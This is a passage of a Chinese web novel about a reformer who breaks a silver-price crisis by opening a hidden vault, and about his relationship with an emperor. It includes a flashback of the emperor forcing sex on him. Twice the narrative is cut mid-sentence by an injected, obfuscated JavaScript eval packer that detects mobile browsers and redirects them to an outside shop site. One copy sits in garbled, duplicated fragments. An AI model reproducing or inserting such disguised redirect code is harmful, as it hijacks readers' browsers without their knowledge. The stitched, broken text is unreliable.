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“白银做货币,保值倒是不错,它深埋地下都能吸到小民百姓的血。可是,作为流通手段,白银却糟糕至极。打个比方,如今的雍京,如果有人夏天用白银买了一个院子,现在一定想要骂人。因为同样数额的白银如今可以买三个院子。既然大家都认为银价可以飞上天,那谁会出手呢?结果就是所有的银子都会深埋地下。” 楚蔷生认真听完,却严正的摇头,“承怡,纸张绝对不可以做货币。” 赵毓知道,楚蔷生其实是非常出色的宰相。他执政的主张异常鲜明,所以,有很多迂腐文人诋毁他,说他堪比古时候臭名昭著的商鞅与李斯。他精通《诗经》《礼记》《孟子》《徐子》与《韩非子》,主张以谷物和布匹纳税,符合《管子》所倡导的重农思想。 此时,楚蔷生徐徐说了自己的想法,——白银做货币极好,这样可以防止君王横征暴敛。 “大郑历代君王尝试过鹿皮、丝绸、以金箔加工的纸张,甚至是非常精美的丝棉纸做货币,都失败了。因为纸钞可以让君主敛尽天下之财。如果没有白银的天性制约,君王就会穷奢极侈,横征暴敛。” 赵毓却说,“蔷生是儒生,我知道儒家一向倾向''民为重,社稷次之,君为轻''的想法,不干预,自然而然为上。可是,这种想法,究竟是限制君王无尽的权力,还是限制整个王朝的执政能力?” 楚蔷生,“洗耳恭听。” 赵毓,“在我看来,大郑从七百年前开始就不是一个高度集权的王朝,而且有越来越松散的趋势。前一阵我为了追查十三行被劫银船的下落,去了一趟太平镇。” 楚蔷生,“我知道那里。” 赵毓,“百年来,那里是大凶之地,是世外仙源,是封闭之地。直隶总督署不想管,就给那里的里长发了薪俸,让他们自己管自己。结果,这种放任到最后就是造出一片法外之地,引发了一场惨绝人寰的血案。” “皇权不下乡,也许初衷是好的,但是,地盘就在那里,人口就在那里,你不去管,自然有人去管。儒家限制君王的权力,限制官员的权力,却把原本属于王朝的地盘尽数让出,久而久之,就成了令不出雍京的局面。” “再加上国家科举选士,官爵上豢养的都是一群书生,不知道钱粮,不知道刑名,只知道八股。这样的人干不过地方上的老吏,也干不过祖居那里的豪族。最后就是流水的地方官,铁打的豪强。那些豪强可同朝廷不是一条心。” “这种结果,还让你觉得竭尽全力限制皇权,尤其是限制王朝的执政能力,是件好事吗?” 楚蔷生拿着酒盏,一直沉默。他似乎想要喝酒,却没有发现,酒盏已经空了。 赵毓,“无论如何,白银不能再用了。既然是饮鸩止渴,即使找不到清水,也不能把毒酒当清水喝。” 楚蔷生似乎开始动摇。今晚这些话,几乎动摇了他的根基。 赵毓决定再凿一锤。 “蔷生从翰林做到左都御史,再入阁,成为左相,仕途可以说是平步青云。你没有做过疆臣,可能不知道其中的门道。封疆大吏,起居八座,堪比王公,那用的是朝廷俸禄吗?这是明摆着的事情,却没有人管,为什么?因为即使是二品疆臣的薪俸也活不了人。这里不是说白菜豆腐活一家老小的命,而是活不了整个衙门。 户部只给官员们发薪。而幕府中的师爷,行辕中的亲兵衙役,这些人都需要官员自己养,甚至连这些封疆大吏往来雍京的书信都需要大人们自掏腰包养了书吏和马匹来传递。这些钱,户部不出,自然要刮地皮。户部为什么不出,因为没钱。至于户部为什么没钱,因为这是祖制。” “户部所做的事情,一向就是赈灾,修河堤,拆了东墙补西墙。说实话,他们连我大郑究竟有多少家底都不知道,每年就知道按照惯例收税。丰年多一些,欠年少一些,灾年再倒贴一些。这就是放任白银的后果。因为我们使用白银做货币,所以国家无法把全部的财权抓在手中。” “还有,现在是太平盛世,国库还算充足,万一到了国库捉襟见肘了,……。假如一个官缺,两个人争。一个是科甲正途出身的进士,一个是可以出大笔白银的人。户部需要钱,这个官缺给谁?好,绝对不卖官鬻爵。那么,一万两,两万两,卖不卖?好,也不卖。那么,十万两呢!五十万两,甚至一百万两呢?” “蔷生,我也砍你一刀。” “你是读书人,科举在你们读书人心中比天大,比泰山重,比命贵,可是在我心中它一文不值,在圣上心中,它不过是一种选拔官员的方式,这种方式同军功,同白银没有什么区别。昔年,皇权可以同门阀共天下;今天,皇权可以同士大夫共天下;明朝,皇权为什么不可以同白银共天下?恕我直言,八股取士,这样取出来的士,在圣上的眼中,未必比玩转大笔银钱的人好用。读书人,不是圣上唯一的选择。” “我这里有一些从十三行买过来的官员借据,我连圣上也没有给看过,其中有几位大人就是在近几年折了。贫苦出身,读书非常用功,一朝登天子堂,前途原本无量,到了任上,没办法把衙门运行起来就刮地皮。他们连刮地皮都刮的不得其法,弄的天怒人怨,一朝水灾激起民变,御史三本奏折参到他们永不超生,这是背诵百遍''尔奉尔禄,民脂民膏,下民易虐,上天难欺''也破不了的魔咒!” “不能再这样下去了。如果继续以白银做货币,户部依旧只是个大仓库,每年拆东墙补西墙,依旧袖手王朝的财政,官员为了生存刮地皮。而官位的高低必然以收益的高低来定品级。” “左相大人,大郑是否过于集权,这个我们不谈,因为我从来没有见过的事情,我不好说话。我们只谈白银之祸。即使为了给天下读书人留下一条清白进身之路,也要碾碎了以白银做法定货币这条路。不要让读书人十年莹雪之后发现,满朝尽是白银构架的壁垒,他们终其一生都无法实现为天地立心,为生民立命,为往圣继绝学,为万世开太平。” 89. 89 89 留园的清晨,带着园林特有的慵懒与诗意。 文湛从赵毓身上轻轻抽了出来。 “疼?” 赵毓摇摇头。 “难受?” “……” 赵毓又摇了摇头。——其实,方才还很舒服,就是有些累,所以反应不够激烈。 文湛的手指把贴在赵毓脸上的湿发拨开,掌心中是他的脸颊,有些薄汗,亲昵抚摸,指尖上像是沾染了滑腻。 赵毓从小就知道,文湛不是个性格温平的人,他暴躁起来如同烈火,可是,却拥有一个严谨到冰冷的性子。赵毓记得他给他剥过橘子,用银针将上面的蒂一丝一丝扯掉,最后放在琉璃盘子中只是娇艳的果瓣,因为赵毓曾经说过一句“不想吃它,因为咬到橘子丝太苦”。 ——“抛开天下神器,社稷江山这些东西,我除了是皇帝之外,终究还是一个人!” 可是,很多人希望他不是一个人,而是一座玉雕的神像。 不会哭,不会笑,甚至不会喘气。 十二道白玉珠旒冕之下,应该是一个模糊的面孔,高高在上,端坐在九重御座之后。 赵毓微微捏住他的手指,轻轻亲了一下,随即,嘴唇上印上一个湿热的亲吻。 “再睡一会儿?”文湛自己一向早起,而且,他还要赶回禁宫。 “不了。”赵毓也起身,“还要沐浴更衣,今天有很多事情要做,等晚上,我回宫找你。” “好。” 敦煌会馆。 今天是西北道巨债兑付的日子。 虽然江湖上传闻的那封鸾字头债票一直没有出现,它却仿佛是黄河悬挂于头顶,随时可能倾泻而下,将这里所有人曾经以命相搏攒下的基业全部摧毁。此时的西北道众人似乎是西疆斗兽人猎场中,躲在门闸后面的猎物。大门外就是汹汹人群,像野兽,也像是手持重锤的猎杀者,门闸随时开启,猎杀似乎也随时开始。 薛宣平看着他们这个怂样,顿时食欲大增,不知不觉中,就把眼前的大盆炒面吃了一多半。 一个仆从端着一碗黄桂稠酒过来,“八爷,您的酒。” 昌渡用袖子捂着脸,一直很痛苦。 旁边有人劝,“老八你别难过,这一次就算咱们栽了,还有老赵给咱们兜底,你别怕。” 昌渡挪开袖子,泪流满面,旁边的仆从连忙给他拧了一个热布巾,让他擦脸。 “老八,……,哎。” 众人想说——你不至于吧,不过如今这情景,他们也活生生的有了一种今日要杀身成仁的悲壮,就不再多说话。 萧呈一直沉水着脸,一口一口的抽着烟杆。 他忽然有些后悔,当时,他宁可找人把赵毓做掉,也不应该让他犯下这个弥天大错,赵毓似乎驾了一艘破船,在深渊旁湍急的漩涡中,几番挣扎,险中搏命,如今,这个深渊开始扩大了,它可以将所有人吞噬。同时,昌渡在那边也让人心烦。 “老八,你别哭了。” 此时,薛宣平把面前的炒面盆子刮了刮,勺子碰到瓷碗底的声音好像可以把人的耳朵撕裂,此时,天空一声炸雷,秋末罕见的暴雨倾盆而下。 众人连忙进正堂避雨。 有人见昌渡擦了脸,眼睛冒红,一脸的颓然,最终还是劝了劝他,“没事儿,天塌下来还是大个儿的抗,咱们都没事儿。” 昌渡是个狡猾的人,狡猾的人最爱做的事情就是伪装。但是今天昌渡倒是不像伪装,似乎真的很伤心。 萧呈都忍不住问了他一句,“老八你到底怎么了?” 没等昌渡说,薛宣平一口咬着柿饼,一边说,“他家的狗死了。” “……” 萧呈气极,都要笑了,“别瞎说,上次他娘死出殡,他还没哭成这个德性。” 薛宣平一撇嘴,“他娘拿什么和他的狗比?” “你,……” 萧呈想要发作,门房忽然跑进来,“来了,……,他来了,……” “谁?赵毓吗?” “不是。”门房好不容易把这口气倒腾顺了,“是他老丈人。” 西北王,尹明扬。 人的名,树的影。“尹明扬”这三个字横扫西疆三十年! 在场的人,虽然在西北道这一亩三分地都觉得自己是个人物,可是他们心底都知道,就算是平时不可一世的老大萧呈在尹明扬面前都只不过是个杂碎。在道上有头有脸的那几把椅子,连尹部堂行辕的亲兵都不如,就算是如今有名有姓的薛宣平当年也不过是尹明扬麾下的麾下的马前卒。 这群人平时对于这位已经致仕的祖籍西北的封疆大吏有诸多轻视,说起他来都要指点江山几句,似乎尹氏当年扬名立万的那些功绩,都比不过他们酒后的运筹帷幄。如果他们早生几年,如今的功业一定让这位“藩镇”望尘莫及。酒酣茶热的时候,那些帝王将相不过尔尔,清醒之后,才幡然记忆起自己似乎大字不识得几个。 尹明扬进内堂,众人去围观,发现,也不过是一个清癯的老人。他身上是文人的长衫,远看像个出身豪门的当代硕儒,走近了,才发现他的眼睛犹如一对黑铁钩子,锋芒毕露已经收敛,却坚硬异常。 “萧先生。”尹明扬拱了拱手,看起来很谦和。 “部堂……”萧呈毕竟面对市面,知道自己这样说很不合适,他连忙说,“尹先生,赵毓呢?” “随后到。” “他在做什么?” “开银窖。” 留园。 密雨伴随着惊雷一下子泼到了人间。 留园是园林,极开阔,一排身穿黑色劲装的兵士在大雨中依然站立如同木雕泥塑一般。这里没有雍京其他权门的雕梁画栋,却带着水榭亭台的烟雨朦胧,沉静还有就是看的见的看不见的里外不知名的兵士构成的一种带着血腥威胁但是反而让人心安的诡谲意境。 园林中一坛牡丹全部被刨根,泥土挖地三尺,地面上登时显露出一个巨大的黑色铁门。 十个精壮的男人将拉开门上铁栓。 轰隆一声,如同上天的雷,此时一道刺人双目的闪电,在大地上劈开一道裂痕。 银窖开了。 没有人想到,原本这个车水马龙,人来人往,南城百姓最爱的吃喝玩乐的留园,竟然隐藏着如此巨大的银窖。 此时,兵士们依次下去,将银箱抬出。 一箱子一箱子白银如同流水一般,从大地的最深处蔓延流淌了出来。 这些就是“鸾”! 它并不是债票,它就是白银! …… 七年前,雍京。先帝龙驭宾天。 暮春。 夜间大雨。 先帝皇陵伽蓝堂内,蜡烛的火光一直跳,赵毓抬手剪了灯花,却听见有寂静的脚步声。 很淡,却带着夜雨的气息。 有人站在门边。 是皇帝。 文湛黑色的缂丝龙袍全身是雾气,没有戴冠冕,他的头发似乎湿透了,不知道在门外的廊檐下站了多久,最终,他还是推开了这扇门。 会死! 年轻的元熙帝有一种强烈的预感,如果再看不到承怡,他会死去。这种感觉如此强烈,就像熊熊燃烧的烈火,宫殿外暴烈的夜雨也无法浇熄。 心魔,…… 他就是自己的心魔。 元熙帝明白,即使自己的心已经强悍到神挡杀神佛挡弑佛,但是依旧无法降服自己的心魔。 承怡是自己这个世上无法避开的劫难。 为了他,为了得到他,他甚至可以背弃祖宗,即使死后永远沉沦地狱永不超生!有他在世间,他就可以降服自己那颗干涸却疯狂的心,带着淡漠的慈悲之心坐在帝座之上,俯瞰苍生。 只是,他们之间间隔了那么多。 近乡情怯,皇帝走进伽蓝堂内,将手中的木盒放下,他看见灯火之旁就是他,分明离他那么近,就在咫尺之间,却好像隔着千座大山,万条江河。 文湛表面沉静,如水一般,但,事实上,他连淡漠的说了一句“承怡,别来无恙?”都无法做到。 近了,皇帝慢慢走近,当烛火照在他的面容上,他停住脚步。 赵毓把手中的剪刀放在炕桌上,——应该下跪的,文湛已经是皇帝了。他们不是兄弟,也算不上恋人,所谓的夫妻更是荒唐的胡话,但是,他们的确是君臣。 溥天之下,莫非王土;率土之滨,莫非王臣。 凡是在大郑的疆土之内,吃着这片土地长出来的粮食,喝着这片土地上的水的人,都是元熙帝文湛的臣子。他也是,不管他是赵毓,还是曾经的祈王承怡。 周围很安静。 只有心跳的声音,砰砰砰,这点响动证明他们还活着,没有死去。 “皇上。” 不知道谁开了口,元熙帝有一瞬间的漠然,他似乎没有听见这个称呼,以至于很长时间,他都没有反应,当他听到第二声’皇上’的时候,他才知道,这是承怡在称呼自己。 文湛听惯了别人这样称呼他,他听了七年,但是,当他听到承怡也是这样叫他的时候,他只是感觉冷,一种由内而外,冻彻心扉的冷,仿佛有人用利剑洞穿了他的心。 雍京的夜雨在里面暴烈的浇着。 他想起来父皇驾崩之前,在病榻之前对他说过,“……,难吧,以后会更艰难。文湛,你选择坐在那把椅子上就应该知道面对的是什么。没有人能站在你身边,谁也不成,承怡也不成,……你终究成为孤家寡人,……和朕一样。……” “你,……,承怡你,……叫我什么?”元熙帝艰涩的再次开口,他希望得到不一样的回答,只是,他终究失望了。 “皇上。” 第三次的称呼,一模一样,冷酷到极致。 赵毓的声音很安静,他就站在烛火后面,晕黄色的烛光只能照亮他的袖子,却让皇帝看不清楚他的脸色。随后,他安静的跪了下去,以一种异常规矩的君臣之礼跪在他的面前。 不知道过了多久,赵毓感觉冰冷的地砖上,自己的双膝阴冷疼痛。 皇帝依旧站在他面前。 不动如山。 忽然,皇帝笑了,淡淡的笑声,似乎是三月的风,说是温和,却暗藏着冷冽。 文湛的声音也是。 “父皇驾崩,承怡从西北赶回来见了最后一面,也算成全了父皇的心意。只是,不知道承怡有没有孝心,在此地为父皇守三年孝,这也算成全了你自己想要报答父皇对你二十二年的养育之恩?” “皇上。” 赵毓没有抬头,眼睑些微垂着,安宁怡然的像是岐山神宫那些被供奉的雕像。 “我不是皇子,没有资格为父皇,……,为先帝守孝三年。” “朕说你有资格,你就有资格。”文湛,“朕下了旨意,没有人会质疑你。只是,……”皇帝淡淡的停了一下,再说,“就怕,承怡你自己不愿意。” 赵毓,“是,我不愿意。” 元熙帝没有想到他这样直白的拒绝。他想冷笑,可是他的平淡已经艰难支持到极致,似乎再也支持不下去了,他这层平和的皮囊下面是疯狂的野兽。目前,他只能用虚弱的平和制作一个牢笼,将那只已经喧嚣的野兽困住,只是,他快要控制不住了。 “承怡,你让我等你,我就在大正宫等你,我等了你七年,如果不是父皇龙驭宾天,我永远不可能再在雍京见到你!今天你就这样对我说话?!” 赵毓,“我没有让你等我。” 这句话像是万把钢刀直接劈在皇帝的头上! 血肉横飞。 “我们之间,……” “都过去了,少年时期的荒唐事,都过去了。”赵毓平淡的说着,似乎在述说别人的事情,“现在的我只是草民赵毓,我不想,……” 啪! 一个耳光,带着凌冽的力度,打在赵毓的脸颊上。 “承怡。”文湛一字一句的说,“你以为你已经逃出升天,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728947|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一道旨意就可以毁了你!” 赵毓抬头。 皇帝惊异的发现,他的容貌居然像极了他的父亲赵汝南! 那个在一切发生之前就已经被凌迟的男人,只留下一副画像,被父皇珍藏在书馆的最深处。 文湛见过那幅画像,也算见过赵汝南。 那是一个诡异到散发着甜美味道的男人,像是裹着毒/药的蜜糖,文湛原本以为永远不会再见到相似的人,而他眼前的承怡却像他! 只是,此时的承怡却并不甜美,他带着清如水一般的冷淡,却像是鸩酒。而皇帝自己则是那个将要渴死的人,明知道喝下这杯酒自己绝无一丝生机,却偏偏只能饮鸩止渴。 这是命,他认。 “皇上,我没有想过可以升大罗生天。”赵毓的额头被落照在烛火当中,像昆仑温和的羊脂玉,“我是罪人,永远无法赎罪也从来不奢望可以偿还。我只想这样安静的活下去,最后安静的死去。” “我呢,你把我置于何地?” 皇帝忽然想到昔年,承怡曾经问过他相似的话,——一口气不来,向何处安身立命? 他不知道。 他没有慧根,参不透这句偈语。 赵毓的眼睑垂下去,皇帝看不清楚他的眼睛,不知道那里面隐藏着什么,“皇上,自有皇上的修为。” 怒极,皇帝又开始轻笑,“我刚才在外面看见崔珩了,没有旨意擅入皇陵,这事可大可小。往大了说,勋贵自领府兵在没有领旨的情况下进入皇陵,等同谋逆,往小了说,这也不过是宁淮侯……” 他说不下去了。 此时,蜡烛被门外的风吹的一跳一跳,像鬼在狂舞。 皇帝看着赵毓,他只能看到他的头发,像小时候一样,多却细,有些散乱,却带着破败的气息。 他在他的面前,单膝跪地,手指撑住他的下巴,让他抬头。 瘦,怎么能瘦成这个样子? 承怡眼角的痣也变了,原先是黑色的,现在成为鲜艳的红色!这有一种妖异的美,似乎,热血在逐渐冷却凝结,一丝一丝从皮肤中渗透出来。 皇帝心慌。 他想起来,多年前他们也是吵架,因为什么都忘记了,就是记得吵的不可开交,平静后,他看着他的掌心,那些凌乱的如同断线一般的掌纹,民间关于这样掌纹的预言让人心惊,——活不长。 承怡看着他,近在咫尺的眼睛,却映不出他的脸。 那是绝望悲伤到极致的眼眸,如同干涸的流水,只有一些尚未死去的苔藓,显示着这还有一丝鲜活的气息——他还活着。 皇帝的额头抵住他的,“我不说了,崔珩会好好的活着,我永远不会再用他威胁你了。” 应该克制的。 只是,他的气息近在咫尺,他能感觉到他呼吸的热度。这是多少年阴森的大正宫午夜梦回的幽梦与噩梦。 …… 不能这样做,如果再向前一步,他们之间再也没有任何挽回的余地! 不,不能这样放弃,他等了七年,已经几乎把自己耗到灯枯油尽了,如果再放开他,让他离开,他们难道真的只有到了黄泉再相见吗? 留下他! …… 他抱着他,耳鬓厮磨着,却听见承怡贴着他的脖子,薄薄说了一声,“放开我。” 随后,肩头抵上了一把利刃,那是方才承怡用来剪蜡烛灯花的剪刀。 皇帝没有停下,他甚至伸出手,直接扯开了承怡的领子,苍白如宣纸一般的皮肤裸|露在宫殿中。 “放开我。” 他的声音带着干枯的味道。皇帝一意孤行,他压在他的身上,而如此同时,他手中的剪刀已经刺穿了皇帝身上的黑色缂丝龙袍。 他进入了他。 而他手中的利刃也刺穿了他的肩头。 血流淌了出来。 都是红色的,也都是热的。 宫殿中有声音,那是呻|吟,是嘶吼,是哭泣,甚至,还有笑,即使那笑声比哭声还要让人难以忍受。 不知道过了多久,…… 文湛比赵毓更加狼狈,也更加惨烈,他的肩膀已经伤到白骨,无论外面谁看见,大殿中的人都是弑君谋逆的大罪,他们都活不下去。 说不清楚他们之间是什么? 是爱|欲,是纠葛,是杀戮,…… 还是两只受到重伤的刺猬,想要依偎在一起,却因为各自身上的尖锐的刺把彼此刺的遍体鳞伤,鲜血淋漓! 文湛摇晃着站起来,到木桌旁边,用没有受伤的手,将原本放在桌面上木盒子摔到赵毓面前。 木盒炸裂。 一把钥匙连同地契滚落而出。 在摇曳的烛火下,那封地契上的名字如此醒目——留园。 …… 鸾,——鸾宣。 先帝的名字。 如今,这个名字已经连同先帝四十年的丰功伟业葬入万年吉壤。曾经彪炳史册的帝王终究成为众人饭后荒谬的谈资。再过不久,那样荒谬的谈资也会逐渐被遗忘,深埋进故纸堆中,沾染上一层厚厚的尘埃。 只不过,他的遗产尚在人间。 留园曾经是他从崔珩手中拿走的,如今,这个园林连同地下无尽的白银一起还给了赵毓。 大郑几代帝王的家底,除了藏在禁宫内库银窖中一部分,其余的,都在留园了。 最高纯度的白银如同可以溶蚀一切的河流。 如今,它被装在马车中,以留园为中心,缓缓蔓延开来。 它溶蚀了雍京的千年城墙,溶蚀了几乎要动摇国本的高昂银价,溶蚀了雍京西城的豪赌。 银价伴随暴雨骤降。 这种骤降也是大势,如同滔滔黄河急转直下,在雍京城构架起了一道看不见的铜墙铁壁,对那些暗自流进雍京想要兴风作浪的外海白银形成关门打狗之势。 白银依旧在流淌。 他铸造了赵毓,不是西北道,而是赵毓,——不灭的信用。 90. 90 90 赵毓到敦煌会馆的时候,这里已经空荡荡了。 薛宣平捧着一个青花大碗,正指挥着赵毓发过来的几十个账房清账。 “老赵,发财啦,发财啦!”薛宣平吃了最后一口裤带面,赶紧把碗放下,“这一次赚的钱,十辈子吃喝嫖赌都花不完!” 赵毓同整个雍京打对盘。 他赢了。 通杀! 至于西北道的生死约,不过是他割麦子时候顺带着收割的半亩地韭菜。 “其实你不知道从哪儿淘换来的银子没兑出去多少。” 薛宣平用布巾摸了摸嘴巴。 “要说,那东西可真纯,我从来没有见过的纯度,舔一舔都是甜味的。这群挤兑的人也是有病,刚开始一个一个的跟抢不到水饭的饿死鬼,后来一看银子多了,他们又说什么现银太沉,不好拿,还有什么放在家中不安全。于是,在他们围观了这些白银之后,非常心满意足的揣着你给的汇票各回各家、各找各妈去了。” 货币的根源在于“信任”。 黄金白银这样“五行百产之精华,山川、阴阳所炉备”的贵重金属做货币,是因为稀少、贵重和不容易腐朽的天性得到百姓的信任。这种信任非常可贵,尤其在乱世更是可贵。山河破碎的时候,只有金银这种集天地灵气的圣物可以穿过战争与生死,拥有不灭的信用。 不过,“信任”一样可以锻造,却极难,难于登天。 如果不难,那么自从中统大宝钞崩溃以来,大郑王朝三百年的盛世,为什么不能再锻造出一份“信任”? 西北道赵字头的汇票踏破生与死的关口,在白银国度一片兵荒马乱的时候,被留园高纯度的白银锻造成“不灭的信用”,得到了天下的“信任”,从而一举收复失地,拥有重塑江山的权力。 这些宣纸做的白银就像是慈悲的雪,覆盖了大地上所有伤痕,也许无法治愈这满目疮痍、尸山血海,至少不会再呈现暴尸荒野之象了。 “老赵,关于咱们西北道的赌约,我是这么想的。”薛宣平,“除了老八之外,大家把份子留下,各自的生意拿走。我估计你也看不上这些鸡零狗碎。大家兄弟一场,一起出生入死这么多年,不要把事情做绝,做人留一线,日后好相见。” “好。”赵毓点头。 薛宣平,“老八的事,我,……” 赵毓说,“老八的那一份也让他拿走,他家中有一群大小老婆和孩子,这些人都要吃饭的。不过,……” 薛宣平,“怎么?” 赵毓轻飘飘的说,“把昌渡吃里扒外,将我们有鸾字头债票传扬出去想要掏空西北道的事情告诉萧老大,让他离开之前自己清理门户。” “嘿!”薛宣平,“这做法我喜欢,你还是那么阴损阴损的。不过,……”薛宣平心中有些狐疑,“老赵,你是怎么知道这事儿是老八捅出去的?” 赵毓不说话。 薛宣平一拍脑门,“嘿!我都高兴傻了。这缺德事儿都能做的出来,不是老八还能是谁!” 他们到了厅堂。 “你老丈人一直在,你们进去喝喝茶,我这边的事马上就好。” 赵毓看见尹明扬坐在那里,正在看一本书。 “爹。” 看见他一来,尹明扬放下书,从椅子上站起来,“你来了。” 薛宣平没靠近过这位尹部堂,他害怕,不过他听见尹明扬赵毓翁婿两个人说话,就站了一下。 ——奇诡!这位不可一世的部堂大人怎么还站起来?! 赵毓不是他们家的入赘女婿吗? 老赵不是应该签了“小子无能,改名换姓,活不回家,死不回莹。遵守家风,勤耕苦作,如违管教,逐出家门,乱棒打死,不得异言。泰山滚石,永不回头。”的入赘婚书了吗? 怎么,这位尹部堂面对老赵表现的,……,这么客气? 客气到似乎都不像是长辈面对晚辈。 他们好像是,…… 赵毓不知道薛宣平肚子中的小九九,他让人给尹明扬重新换了一盏茶水,“爹,今天多亏了您在这里坐镇。您给我的汇票我让账房尽快清账,您找人带回云中,把那些土地再赎回来。桂宝儿娇生惯养,三百亩地是吃不饱的。还有,那笔汇票放到赌局一部分,我算了一下,赚的有点多,您有什么打算?” “你看着办。”尹明扬也坐下,“我说过,绮罗的那份就是你的,你愿意怎么办就怎么办。” “好。”赵毓点头,“我让人买些田庄、铺子什么的,再存一些现银和汇票。这些东西桂宝儿和花骨朵对半分,您觉得可以吗?” 尹明扬点头,“好。” 今天一白天的暴雨将园子中的树叶与花打落了一地,仆从连忙打扫。只是,毕竟初冬了,枝头上挂不住青翠的叶子与似锦的繁花,于是,刚打扫完不一会儿,青砖上又落下几朵蔷薇。 薛宣平看到赵毓也坐下。他先是长长舒了一口气,随后,端起来盖碗,手指捻着碗盖,将茶水刮了刮,开始安静的喝茶。此时的赵毓像戈壁上的游魂。 不知怎么了薛宣平打了个激灵,他那颗饱含着裤带面的脑袋中有什么东西从平日不见天日的底部微微泛了起来。 他耳聪目明,做“包打听”的生意。 薛宣平曾经听到过一个传闻,有人说尹明扬一世英雄,可惜,却私德有亏。这个“亏”就是“攀附”,而且还是“献女攀附”。想他堂堂疆臣,手握重兵的“藩镇”,居然也能做出卖女求荣的事情,有些局外人还颇为不耻。只不过这个传闻过于荒谬,事实上,有关帝王将相的传闻大多荒谬的离谱,所以大家传起来非常热烈,但是真正相信的人却不多。还有,能让“藩镇”攀附的人,地位不言而喻,哪能瞒得住? 人家尹部堂只有一个闺女,还找了个上门女婿,日子过的也通顺。赵毓这个人身世过于诡秘,虽然可能因为是罪臣之后的原因不能像他老丈人那样建功立业,却依旧能纵横西疆。 久而久之,关于尹家攀附的传闻就淡了。 此时,薛宣平不知道怎么了,心中冒出来一个想法,像刀一样,根本挥之不去。 传闻,……也许是真的! 赵毓放下盖碗,举目四周,他的眼神又停留在外面,以巨木构架的四面八角楼上挂着“西北道”的匾额。 微雨依旧未曾停歇。 此时的匾额没有签了生死约离去那日见的刺目,深沉的木色,在灰暗的天空中被雨雾半遮半掩,显得厚重而恢弘。 却有一种即将落幕的悲怆。 赵毓回到大正宫的时候,已经是夜里。 寝殿中,文湛坐在百盏烛火下,拿着银刀正在削荸荠。这是今年太液池中最后一网了,捞了它们上来,整个太液池中仅留下红莲的残骸,根部窝在淤泥中,等待着明年开春重焕勃勃生机。 赵毓坐在他身边,文湛喂了一颗削好的荸荠到他口中,赵毓一咬,清脆爽口。 “真甜。” 文湛,“今天刚捞上来的。” 赵毓,“我是说你。” “……” 皇帝看了他一眼,仅仅莞尔,低头继续削荸荠,只是手指似乎有些握不稳刀柄,几下都滑了。 赵毓轻轻笑了一下,才说,“你从户部调了那一百多十个账房还在清账,估计没个十天半个月的,账目是不会清爽的。韦睿他们也不能退,他们还有很多事情要善后,对了,那些人把御林军的那层皮换下来,只穿黑色劲装,还不难看。哦,留园的银窖露了白,不能再用了。我听说西山那边有一座山被挖空了,好像是当年那位先王的银窖,可以把那些白银放在山里。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728948|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯。”文湛听着只是点头,似乎,此时削荸荠才是他最重要的事。 赵毓又说,“这一次收割的有点狠。好的消息是,银价平稳,户部收税不用刮地皮了;更好的消息是,养兵,应该也够了。” 手握雄兵的“藩镇”是皇帝的心腹大患。削藩之后,如果没有巨额军费支撑,必定酿成兵灾,到时,盛世必然倾覆。 文湛又喂了他一颗削好荸荠,“晚上饿吗?” “不饿,刚才我在敦煌会馆吃过了。我看西北道的匾额也要换,你给我再写一个,我找人雕刻好,挂在那里的四面八角楼上。” “好。” 文湛起身,旁边的黄枞菖连忙捧过来清水瓶和丝巾为他洗手,随后,他拉起来赵毓,“一起出去走走。” 绵延了一天的雨,终于停歇。 子夜,皓月当空。 大正宫的朱墙黑色琉璃瓦在月光下被镀了一层银。 赵毓一到晚上眼神就不好,文湛拉着他的手,在禁宫中慢慢走着。 这里,他们从小走到大,似乎每一段宫墙,每一段石子路,每一棵树下,都有他们的痕迹。 竟然有一丝的恍惚。 赵毓似乎看见了小时候的他们,两个小孩子也是手拉着手,顺着御园跑了过去,笑声几乎要被阴冷森然的禁宫淹没,光影明灭,留下影子是他们身上黑色缂丝骧翥纹锦袍擦过花枝。 再向前,…… 赵毓停住。 那里,是微音殿。——黑瓦朱墙并不宏伟,殿外四周开阔,站着几排石像一般的御林军。这里没有禁宫中其他宫殿的雕梁画栋,也没有御园水榭亭台的烟雨朦胧,却独有一份肃穆和端庄。 这是皇帝处理机要大事的地方。 这是王朝的纪要中枢。 文湛拉着他,“进来吧。” 已经过去十四年了,自从赵毓被封亲王开府建牙之后,他就再也没有名正言顺的进过微音殿。 里面还是记忆中的样子。 价比黄金的太湖金砖铺满地面,黑色檀木的柜子顶天立地,黄金做的把手与锁经过千年,已经褪去了耀眼的光,变得柔和与古朴。 文湛到书案上铺开宣纸,提起毛笔,饱蘸了浓稠的墨汁,悬腕写了三个字——元承行。 赵毓,“怎么叫这个名字?” 文湛,“你原来不是用过元承这个名字吗?” 赵毓点头。 文湛,“挺好听的,不用改了。” 元承——元熙,承怡。他的年号,他的名字,缔结百年,永不分离。 文湛记得,久远之前,他曾经在殿外的花丛边对承怡说过: “承怡,大郑的皇位,有一半是属于你的。” “所以……” “把你的心给我。” 当年如此绝望的一个请求,如今,他已经如愿以偿。 外面忽然点燃了万盏明灯! 赵毓推开宫殿的雕花窗。 高耸入云的朱墙黑色琉璃瓦将大正宫与人间隔离,外面的人不知道,此时,在皓月之下,整个宫殿亮如白昼,薄透似琉璃! 起风了。 太液池水泛起波澜。 宫殿的灯火洒下点点碎金,印在波浪上,明灭摇动,犹如万千游鱼济沧海。 …… 